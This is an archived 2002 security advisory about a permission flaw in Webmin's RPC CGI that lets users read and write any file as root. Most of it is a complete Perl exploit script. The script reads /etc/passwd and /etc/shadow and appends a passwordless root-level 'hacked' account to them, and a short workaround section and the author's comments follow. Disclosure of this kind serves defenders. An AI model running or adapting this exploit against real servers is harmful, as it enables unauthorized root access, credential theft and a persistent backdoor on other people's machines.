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TUCoPS :: Web :: Adminware, Control Panels :: web5665.htm

Webmin Vulnerability Leads to Remote Compromise {RPC CGI}



29th Aug 2002 [SBWID-5665]
COMMAND

	
		Webmin Vulnerability Leads to Remote Compromise (RPC CGI)
	
	

SYSTEMS AFFECTED

	
		 Webmin version 0.921 and above (requires regular user access)

		 Webmin version 0.92 and below (no special user required)
	
	

PROBLEM

	
		In       Noam        Rathaus        of        SecurITeam        advisory
		[http://www.securiteam.com/unixfocus/5CP0R1P80G.html] :
		

		The CGI  that  handles  remote_foreign_require  and  remote_foreign_call
		requests  from  other  Webmin  servers  contains  inadequate  permission
		checks. Access to the CGI is  determined  by  the  'rpc'  value  in  the
		/usr/libexec/webmin/defaultacl. This value can be '1' or '2'. If '2'  is
		set, only the 'admin' user,  or  root  are  allowed  access.  Otherwise,
		anyone is allowed to access the CGI. Access to this CGI would  allow  an
		attacker
		

		any of the following functions:
		

		1) 'quit' - as the name says, it terminates the current RPC session.

		2) 'require' - forces the current RPC session to load a library/module 

		file.

		3) 'call' - execute a Perl or Webmin function.

		4) 'eval' - evaluates a Perl code (executes it).

		5) 'ping' - responds with an "OK" reply.

		6) 'check' - checks whether a certain library/module is supported.

		7) 'config' - display the current configuration of RPC.

		8) 'write' - write a file with the provided data.

		9) 'read' - read a file and return the data it contains.

		

		Utilizing the 'read' and 'write' actions a remote attacker can  read  or
		write to any file that is  present  on  the  system.  This  specifically
		includes /etc/passwd and /etc/shadow. Access to  any  file  is  possible
		because the Webmin server runs as root, and  does  not  drop  privileges
		prior to running those two functions. Unitizing the 'eval' function,  it
		is possible to cause the  execution  of  arbitrary  commands  with  root
		privileges.
		

		Because of the way the RPC communication is done, the  attached  exploit
		code is needed in order to perform the above actions.
		

		Impact: Since in  many  Webmin  installations  the  Webmin  admin  is  a
		non-root user, by exploiting the vulnerability an attacker  is  able  to
		gain root privileges and compromise the machine.
		

		Exploit:
		

		#!/usr/bin/perl

		# urlize

		# Convert a string to a form ok for putting in a URL

		sub urlize {

		  local $rv = $_[0];

		  $rv =~ s/([^A-Za-z0-9])/sprintf("%%%2.2X", ord($1))/ge;

		  return $rv;

		

		}

		

		# un_urlize(string)

		# Converts a URL-encoded string to the original

		sub un_urlize

		{

		local $rv = $_[0];

		$rv =~ s/\+/ /g;

		$rv =~ s/%(..)/pack("c",hex($1))/ge;

		return $rv;

		}

		

		# serialise_variable(variable)

		# Converts some variable (maybe a scalar, hash ref, array ref or scalar 

		ref)

		# into a url-encoded string

		sub serialise_variable

		{

		if (!defined($_[0])) {

		        return 'UNDEF';

		        }

		local $r = ref($_[0]);

		local $rv;

		if (!$r) {

		        $rv = &urlize($_[0]);

		        }

		elsif ($r eq 'SCALAR') {

		        $rv = &urlize(${$_[0]});

		        }

		elsif ($r eq 'ARRAY') {

		        $rv = join(",", map { &urlize(&serialise_variable($_)) } 

		@{$_[0]});

		        }

		elsif ($r eq 'HASH') {

		        $rv = join(",", map { &urlize(&serialise_variable($_)).",".

		                              &urlize(&serialise_variable($_[0]->{$_}))

		}

		                            keys %{$_[0]});

		        }

		elsif ($r eq 'REF') {

		        $rv = &serialise_variable(${$_[0]});

		        }

		return ($r ? $r : 'VAL').",".$rv;

		}

		

		# unserialise_variable(string)

		# Converts a string created by serialise_variable() back into the

		original

		# scalar, hash ref, array ref or scalar ref.

		sub unserialise_variable

		{

		local @v = split(/,/, $_[0]);

		local ($rv, $i);

		if ($v[0] eq 'VAL') {

		        $rv = &un_urlize($v[1]);

		        }

		elsif ($v[0] eq 'SCALAR') {

		        local $r = &un_urlize($v[1]);

		        $rv = \$r;

		        }

		elsif ($v[0] eq 'ARRAY') {

		        $rv = [ ];

		        for($i=1; $i<@v; $i++) {

		                push(@$rv, &unserialise_variable(&un_urlize($v[$i])));

		                }

		        }

		elsif ($v[0] eq 'HASH') {

		        $rv = { };

		        for($i=1; $i<@v; $i+=2) {

		                $rv->{&unserialise_variable(&un_urlize($v[$i]))} =

		                        &unserialise_variable(&un_urlize($v[$i+1]));

		                }

		        }

		elsif ($v[0] eq 'REF') {

		        local $r = &unserialise_variable($v[1]);

		        $rv = \$r;

		        }

		elsif ($v[0] eq 'UNDEF') {

		        $rv = undef;

		        }

		return $rv;

		}

		

		# encode_base64(string)

		# Encodes a string into base64 format

		sub encode_base64

		{

		    local $res;

		    pos($_[0]) = 0; # ensure start at the beginning

		    while ($_[0] =~ /(.{1,45})/gs) {

		        $res .= substr(pack('u', $1), 1)."\n";

		        chop($res);

		    }

		    $res =~ tr|\` -_|AA-Za-z0-9+/|;

		    local $padding = (3 - length($_[0]) % 3) % 3;

		    $res =~ s/.{$padding}$/'=' x $padding/e if ($padding);

		    return $res;

		}

		

		use Socket;

		if ($#ARGV<6) {die "Usage: exploit.pl proxyIP proxyPort remoteIP 

		remotePort username password command_interface

		command interface should equal one of these:

		1 - read file /etc/passwd

		2 - read file /etc/shadow

		3 - insert into file /etc/passwd (\"hacked:x:0:0:root:/root:/bin/bash\")

		4 - insert into file /etc/shadow (\"hacked::0:99999:7:-1:-1:134538548\")

		";}

		

		$username = $ARGV[4];

		$password = $ARGV[5];

		

		$proxyPort = $ARGV[1];

		$proxyIP = $ARGV[0];

		

		$remoteIP = $ARGV[2];

		$remotePort = $ARGV[3];

		$command_interface = $ARGV[6];

		

		$target = inet_aton($proxyIP);

		$paddr = sockaddr_in($proxyPort, $target);

		

		print "Connecting to: $proxyIP:$proxyPort, with the following user: 

		$username and password: $password. Hacking server: 

		$remoteIP:$remotePort\n";

		

		$auth = &encode_base64("$username:$password");

		$auth =~ s/\n//g;

		

		if (($command_interface eq 1) || ($command_interface eq 3))

		{

		 $d = { 'action' => 'read', 'file' => "/etc/passwd", 'session' => "0"};

		}

		if (($command_interface eq 2) || ($command_interface eq 4))

		{

		 $d = { 'action' => 'read', 'file' => "/etc/shadow", 'session' => "0"};

		}

		

		$tostr = &serialise_variable($d);

		$lengthstr = length($tostr);

		

		$request = "POST /rpc.cgi HTTP/1.1

		Host: $remoteIP:$remotePort

		User-agent: Webmin

		Authorization: basic $auth

		Content-Length: $lengthstr

		

		$tostr";

		

		print "Sending:\n---\n$request\n---\n";

		

		$proto = getprotobyname('tcp');

		socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

		

		connect(S, $paddr) || die "connect: $!";

		

		select(S); $|=1; # print $pstr;

		print $request;

		

		$found = 0;

		while(<S>)

		{

		 if (($found == 1) || (/^\r\n/))

		 {

		  if ($found == 0)

		  {

		   $found = 1;

		  }

		  else

		  {

		   $in = join ("", $in, $_);

		  }

		 }

		}

		select(STDOUT);

		

		print "Raw:\n---\n$in\n---\n";

		

		print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'}, 

		"\n---\n";

		

		close(S);

		

		if ($command_interface eq 3)

		{

		 $d = { 'action' => 'write', 'data'=>join("", 

		unserialise_variable($in)->{'rv'},

		"hacked:x:0:0:root:/root:/bin/bash\n"), 

		'file' => "/etc/passwd", 'session' => "0"};

		}

		if ($command_interface eq 4)

		{

		 $d = { 'action' => 'write', 'data'=>join("", 

		unserialise_variable($in)->{'rv'},

		"hacked::0:99999:7:-1:-1:134538548\n"), 

		'file' => "/etc/shadow", 'session' => "0"};

		}

		

		$tostr = &serialise_variable($d);

		$lengthstr = length($tostr);

		

		$request = "POST /rpc.cgi HTTP/1.1

		Host: $remoteIP:$remotePort

		User-agent: Webmin

		Authorization: basic $auth

		Content-Length: $lengthstr

		

		$tostr";

		

		print "Sending:\n---\n$request\n---\n";

		

		$proto = getprotobyname('tcp');

		socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

		

		connect(S, $paddr) || die "connect: $!";

		

		select(S); $|=1; # print $pstr;

		print $request;

		

		$found = 0;

		while(<S>)

		{

		 if (($found == 1) || (/^\r\n/))

		 {

		  if ($found == 0)

		  {

		   $found = 1;

		  }

		  else

		  {

		   $in = join ("", $in, $_);

		  }

		 }

		}

		

		select(STDOUT);

		

		print "Raw:\n---\n$in\n---\n";

		

		print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'}, 

		"\n---\n";

		

		close(S);

		

		# --- EOF ---

		
	
	

SOLUTION

	
		 Workaround:

		 ==========

		

		Modify the defaultacl file to: rpc=0
		

		This is a non-valid solution for organizations handling multiple  Webmin
		servers from a centralized one (remote control usage).
		

		NOTE: This of course does not  prevent  the  vulnerability,  but  rather
		disables some functionality to stop it from working.
		

		Perquisite: Since access to the CGI is  required,  valid  authentication
		is required.
		

		 Webmin author's says :

		 =====================

		

		That's not really  a  bug,  because  in  standard  webmin  installs  the
		'admin' or 'root' use has access to all  modules  with  all  privileges,
		which is equivalent  to  having  a  root  login.  However,  if  on  your
		client's systems the 'admin' user has lesser privileges  then  it  would
		be a security problem, and I think a release to  tell  people  about  it
		would be good idea.
		

		Instead of changing the defaultacl file (which will  be  overwritten  by
		the next upgrade), you can go into the Webmin  Users  module,  click  on
		Global ACL next to the admin user and change the 'Can make  RPC  calls?'
		option to No. I wouldn't want to  change  the  defaultacl  file  in  the
		standard webmin distribution,  as  this  would  stop  RPC  from  working
		unless it was explicitly allowed.
		

	


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